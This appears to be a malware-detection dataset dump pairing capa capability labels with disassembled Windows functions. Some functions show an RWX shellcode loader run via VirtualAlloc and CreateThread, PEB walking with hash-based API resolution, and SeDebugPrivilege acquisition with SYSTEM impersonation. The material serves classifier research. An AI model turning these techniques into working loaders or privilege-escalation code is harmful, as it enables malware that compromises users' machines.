joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x160
mov rax, qword [0x14001a008]
xor rax, rsp
mov qword [rsp + 0x158], rax
mov ebx, 2
lea rdx, [rsp + 0x30]
mov ecx, ebx
lea rax, [0x140017840]
nop
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001030
mov ecx, dword [rax + 0x10]
mov r8d, 0x1000
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
mov dword [rdx + 0x10], ecx
movzx ecx, byte [rax + 0x14]
mov byte [rdx + 0x14], cl
xor ecx, ecx
mov edx, 0x115
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rdx, [rsp + 0x30]
mov rcx, rax
nop dword [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rbx, 1
jne 0x1400010c0
mov eax, dword [rdx + 0x10]
xor r9d, r9d
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, byte [rdx + 0x14]
xor edx, edx
mov byte [rcx + 0x14], al
lea rax, [rsp + 0x150]
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x158]
xor rcx, rsp
call fcn.140001180
add rsp, 0x160
pop rbx
ret

Function at 0x140001b7c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001bc6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001bc6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001bc6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001bc6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001bc6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001bc8
xor al, al
add rsp, 0x28
ret

Function at 0x140005d74
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005b70
Function at 0x140008e3c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140008e6c
xor eax, eax
jmp 0x140008f2f
mov rbp, rbx
cmp word [rax], si
je 0x140008e91
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140008e78
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140008e74
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140008d5c
movsxd r14, eax
test eax, eax
jne 0x140008ecf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140008e65
mov rcx, r14
call fcn.140009d18
mov rdi, rax
test rax, rax
jne 0x140008ee8
xor ecx, ecx
call fcn.1400073bc
jmp 0x140008ec4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140008d5c
test eax, eax
jne 0x140008f19
mov rcx, rdi
call fcn.1400073bc
jmp 0x140008f23
xor ecx, ecx
call fcn.1400073bc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000c420
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140007e2c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000c4aa
cmp byte [rbp - 0x21], r15b
je 0x14000c4a5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000c4e0
call fcn.14000a528
test eax, eax
jne 0x14000c4cc
cmp byte [rbp - 0x21], r15b
je 0x14000c4c4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000c4e0
cmp byte [rbp - 0x21], r15b
je 0x14000c4dd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000740c
test eax, eax
jne 0x14000c580
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140007e2c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000c51f
cmp byte [rbp - 0x21], r15b
je 0x14000c554
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000c554
call fcn.14000a528
test eax, eax
jne 0x14000c540
cmp byte [rbp - 0x21], r15b
je 0x14000c539
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000c554
cmp byte [rbp - 0x21], r15b
je 0x14000c551
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000740c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000c580
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000c583
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000c591
mov rcx, rdi
call fcn.1400073bc
cmp byte [rbp + 0x3f], r15b
je 0x14000c5a0
mov rcx, qword [rbp + 0x27]
call fcn.1400073bc
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400047d0
Capabilities:
Check os version

Disassembly:
sub rsp, 0x18
mov rax, qword gs:[0x60]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x118]
mov dword [rsp], eax
cmp dword [rsp], 6
jb 0x140004814
mov eax, dword [0x7ffe0004]
mov rcx, qword [0x7ffe0320]
imul rcx, rax
mov rax, rcx
shr rax, 0x18
jmp 0x14000482a
mov eax, dword [0x7ffe0000]
mov ecx, dword [0x7ffe0004]
imul rax, rcx
shr rax, 0x18
add rsp, 0x18
ret
Function at 0x140006200
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov dword [rsp + 4], 0
mov qword [rsp + 0x18], 0
mov qword [rsp + 8], 0
mov qword [rsp + 0x10], 0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x18]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 8]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x10], rax
mov dword [rsp], 0
jmp 0x140006282
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov rax, qword [rsp + 8]
movzx eax, word [rax + 6]
cmp dword [rsp], eax
jae 0x140006315
mov eax, dword [rsp]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x10]
add rcx, rax
mov rax, rcx
lea rcx, str..text
sub rax, rcx
movzx edx, byte [rcx]
cmp dl, byte [rcx + rax]
jne 0x1400062c3
inc rcx
test dl, dl
jne 0x1400062b0
xor eax, eax
jmp 0x1400062c8
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140006310
mov eax, dword [rsp]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x10]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38]
mov qword [rcx], rax
mov eax, dword [rsp]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x10]
mov eax, dword [rdx + rax + 0x10]
mov dword [rcx], eax
mov dword [rsp + 4], 1
jmp 0x140006315
jmp 0x14000627a
mov eax, dword [rsp + 4]
add rsp, 0x28
ret

Function at 0x140008810
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword gs:[0x60]
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x10]
mov rax, qword [rax + 0x18]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
add rax, 0x10
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 8]
mov rax, qword [rax + 0x10]
mov qword [rsp], rax
mov rax, qword [rsp]
mov rax, qword [rax + 0x30]
cmp qword [rsp + 0x30], rax
jb 0x14000887f
mov rax, qword [rsp]
mov eax, dword [rax + 0x40]
mov rcx, qword [rsp]
add rax, qword [rcx + 0x30]
cmp qword [rsp + 0x30], rax
jae 0x14000887f
mov rax, qword [rsp]
mov rax, qword [rax + 0x30]
jmp 0x140008897
mov rax, qword [rsp]
mov rax, qword [rax]
mov qword [rsp], rax
mov rax, qword [rsp + 0x18]
cmp qword [rsp], rax
jne 0x140008850
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400088a0
Capabilities:
Access peb ldr_data

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword gs:[0x60]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
add rax, 0x10
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x20], rax
jmp 0x1400088f4
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x40]
cmp qword [rsp + 0x20], rax
je 0x14000893f
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x60]
cmp qword [rax + 0x30], rcx
jne 0x140008912
jmp 0x1400088e7
xor r8d, r8d
mov edx, dword [rsp + 0x68]
mov rax, qword [rsp + 0x20]
mov rcx, qword [rax + 0x30]
call fcn.140008950
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140008936
jmp 0x1400088e7
mov rax, qword [rsp + 0x30]
jmp 0x140008941
xor eax, eax
add rsp, 0x58
ret
Function at 0x140008950
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov word [rsp + 0x18], r8w
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rcx, qword [rsp + 0x90]
call fcn.140008d20
test eax, eax
jne 0x14000897e
xor eax, eax
jmp 0x140008b64
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
add rax, 0x88
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp dword [rax + 4], 0
je 0x1400089cc
mov rax, qword [rsp + 0x38]
cmp dword [rax], 0
jne 0x1400089d3
xor eax, eax
jmp 0x140008b64
mov rax, qword [rsp + 0x38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x38]
mov eax, dword [rcx + rax + 4]
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x28], 0
cmp dword [rsp + 0x98], 0
je 0x140008aed
mov dword [rsp + 0x20], 0
jmp 0x140008a7f
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x30]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x20], eax
jae 0x140008aeb
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x68]
call fcn.1400108c0
cmp dword [rsp + 0x98], eax
jne 0x140008ae9
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x70]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
jmp 0x140008aeb
jmp 0x140008a75
jmp 0x140008b1a
movzx eax, word [rsp + 0xa0]
mov rcx, qword [rsp + 0x30]
sub eax, dword [rcx + 0x10]
mov eax, eax
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140008b26
xor eax, eax
jmp 0x140008b64
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jb 0x140008b5f
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
cmp qword [rsp + 0x28], rax
jae 0x140008b5f
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x90]
call fcn.140008db0
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
add rsp, 0x88
ret
Function at 0x140008b70
Capabilities:
Access peb ldr_data

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x70
mov rax, qword gs:[0x60]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
add rax, 0x10
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x48]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x20], rax
mov dx, 0x5c
mov rcx, qword [rsp + 0x80]
call fcn.140010f68
test rax, rax
je 0x140008bd6
mov dword [rsp + 0x28], 1
jmp 0x140008bde
mov dword [rsp + 0x28], 0
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x140008c17
mov rax, qword [rsp + 0x20]
mov rdx, qword [rax + 0x50]
mov rcx, qword [rsp + 0x80]
call sub.api_ms_win_crt_string_l1_1_0.dll__wcsicmp
test eax, eax
jne 0x140008c15
mov rax, qword [rsp + 0x20]
mov rax, qword [rax + 0x30]
jmp 0x140008d12
jmp 0x140008c3f
mov rax, qword [rsp + 0x20]
mov rdx, qword [rax + 0x60]
mov rcx, qword [rsp + 0x80]
call sub.api_ms_win_crt_string_l1_1_0.dll__wcsicmp
test eax, eax
jne 0x140008c3f
mov rax, qword [rsp + 0x20]
mov rax, qword [rax + 0x30]
jmp 0x140008d12
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x68]
cmp qword [rsp + 0x20], rax
jne 0x140008be6
cmp dword [rsp + 0x88], 0
jne 0x140008c69
xor eax, eax
jmp 0x140008d12
xor edx, edx
lea rcx, [0x140017a50]
call fcn.140008b70
xor r8d, r8d
mov edx, 0xa301ecda
mov rcx, rax
call fcn.140008950
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x140008c98
xor eax, eax
jmp 0x140008d12
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov edx, 0x104
mov rcx, qword [rsp + 0x38]
call sub.api_ms_win_crt_string_l1_1_0.dll_wcsnlen
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
shl eax, 1
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
add eax, 2
mov word [rsp + 0x32], ax
mov qword [rsp + 0x58], 0
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x30]
xor edx, edx
xor ecx, ecx
call qword [rsp + 0x50]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jge 0x140008d0d
xor eax, eax
jmp 0x140008d12
mov rax, qword [rsp + 0x58]
add rsp, 0x70
pop rdi
ret

Function at 0x140008d20
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
cmp qword [rsp + 0x30], 0
jne 0x140008d35
xor eax, eax
jmp 0x140008da2
mov rax, qword [rsp + 0x30]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140008d52
xor eax, eax
jmp 0x140008da2
mov rax, qword [rsp + 8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x10]
cmp dword [rax], 0x4550
je 0x140008d7c
xor eax, eax
jmp 0x140008da2
mov rax, qword [rsp + 0x10]
movzx eax, word [rax + 0x16]
mov word [rsp], ax
movzx eax, word [rsp]
and eax, 0x2000
cmp eax, 0x2000
je 0x140008d9d
xor eax, eax
jmp 0x140008da2
mov eax, 1
add rsp, 0x28
ret
Function at 0x140009610
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x38
mov r8d, 1
lea rdx, [0x140017ad8]
xor ecx, ecx
call fcn.140008ee0
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x140009665
mov ecx, 1
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
lea rdx, str.Could_not_enable_SeDebugPrivilege._Are_you_elevated_
mov rcx, rax
call fcn.1400026d0
mov ecx, 1
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
lea rdx, [0x140017afc]
mov rcx, rax
call fcn.1400026d0
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x14000a4f0
Capabilities:
Check os version

Disassembly:
sub rsp, 0x28
mov rax, qword gs:[0x60]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
add rax, 0x118
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x10]
cmp dword [rax], 6
ja 0x14000a525
mov dword [rsp], 0x400
jmp 0x14000a52c
mov dword [rsp], 0x1000
mov eax, dword [rsp]
bts eax, 7
add rsp, 0x28
ret

Function at 0x14000a540
Capabilities:
Check os version

Disassembly:
sub rsp, 0x28
mov rax, qword gs:[0x60]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
add rax, 0x118
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x10]
cmp dword [rax], 6
ja 0x14000a575
mov dword [rsp], 0x400
jmp 0x14000a57c
mov dword [rsp], 0x1000
mov eax, dword [rsp]
or eax, 0x10
add rsp, 0x28
ret

Function at 0x14000b7d0
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
lea rax, str.SeDebugPrivilege
mov qword [rsp + 0x28], rax
lea rax, str.SeAssignPrimaryTokenPrivilege
mov qword [rsp + 0x30], rax
mov r9d, 2
lea r8, [rsp + 0x28]
mov rdx, qword [rsp + 0x50]
lea rcx, [0x140017fa8]
call fcn.14000b860
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x14000b84a
mov ecx, 1
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
lea rdx, str.Could_not_impersonate_SYSTEM
mov rcx, rax
call fcn.1400026d0
mov ecx, 1
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
lea rdx, [0x140017ec4]
mov rcx, rax
call fcn.1400026d0
mov eax, dword [rsp + 0x20]
add rsp, 0x48
ret
Function at 0x14000b860
Capabilities:
Acquire debug privileges

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x24], 0
mov rax, qword [rsp + 0x58]
mov qword [rax], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rax, [0x140017e18]
mov qword [rsp + 0x30], rax
lea rax, str.SeImpersonatePrivilege
mov qword [rsp + 0x38], rax
mov r9d, 1
mov r8d, 2
lea rdx, [rsp + 0x30]
xor ecx, ecx
call fcn.140009460
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x14000b8da
jmp 0x14000b92c
lea r9, [rsp + 0x28]
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
call fcn.14000b180
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x14000b900
jmp 0x14000b92c
mov rcx, qword [rsp + 0x28]
call fcn.14000b790
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x14000b917
jmp 0x14000b92c
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x28]
mov qword [rax], rcx
mov dword [rsp + 0x24], 1
cmp dword [rsp + 0x24], 0
jne 0x14000b945
cmp qword [rsp + 0x28], 0
je 0x14000b945
mov rcx, qword [rsp + 0x28]
call fcn.14000f595
mov eax, dword [rsp + 0x24]
add rsp, 0x48
ret
Function at 0x140011bec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140011c36
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140011c36
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140011c36
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140011c36
cmp dword [rcx + 0x84], 0xe
jbe 0x140011c36
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140011c38
xor al, al
add rsp, 0x28
ret

Function at 0x140013270
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140013298
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140013298
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400012fd
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x1400a2c00
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r9, [0x140135b80]
mov edi, ecx
lea rdx, str.FlsSetValue
mov ecx, 3
lea r8, [0x140135b78]
call fcn.1400a2520
mov rsi, rax
test rax, rax
je 0x1400a2c4c
mov rcx, rax
call fcn.140004ae3
mov rdx, rbx
mov ecx, edi
call rsi
jmp 0x1400a2c57
mov rdx, rbx
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140001361
Capabilities:
Query environment variable

Disassembly:
jmp 0x140106260
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor r14d, r14d
mov rbx, rax
test rax, rax
je 0x140106334
mov rsi, rax
cmp word [rax], r14w
je 0x1401062b3
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], r14w
jne 0x14010629b
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], r14w
jne 0x140106297
mov qword [rsp + 0x38], r14
sub rsi, rbx
mov qword [rsp + 0x30], r14
add rsi, 2
sar rsi, 1
mov r8, rbx
mov r9d, esi
mov dword [rsp + 0x28], r14d
xor edx, edx
mov qword [rsp + 0x20], r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbp, eax
test eax, eax
je 0x140106334
mov rcx, rbp
call fcn.140003576
mov rdi, rax
test rax, rax
je 0x140106327
mov qword [rsp + 0x38], r14
mov r9d, esi
mov qword [rsp + 0x30], r14
mov r8, rbx
mov dword [rsp + 0x28], ebp
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x140106327
mov rsi, rdi
mov rdi, r14
jmp 0x14010632a
mov rsi, r14
mov rcx, rdi
call fcn.140008bf7
jmp 0x140106337
mov rsi, r14
test rbx, rbx
je 0x140106345
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rbx, qword [rsp + 0x50]
mov rax, rsi
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000141a
Capabilities:
Check os version

Disassembly:
jmp 0x14006f6e4
sub rsp, 0x178
mov rax, qword [0x14016b098]
xor rax, rsp
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x14006f7bd
mov eax, dword [rsp + 0x44]
sub eax, 5
je 0x14006f76d
cmp eax, 1
je 0x14006f732
mov dword [0x1401710b0], 6
jmp 0x14006f7a3
mov eax, dword [rsp + 0x48]
test eax, eax
je 0x14006f74b
cmp eax, 1
jne 0x14006f726
mov dword [0x1401710b0], 4
jmp 0x14006f7a3
mov dword [0x1401710b0], 3
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.14000828d
add rsp, 0x178
ret
mov eax, dword [rsp + 0x48]
test eax, eax
je 0x14006f7d9
sub eax, 1
je 0x14006f793
cmp eax, 1
jne 0x14006f78b
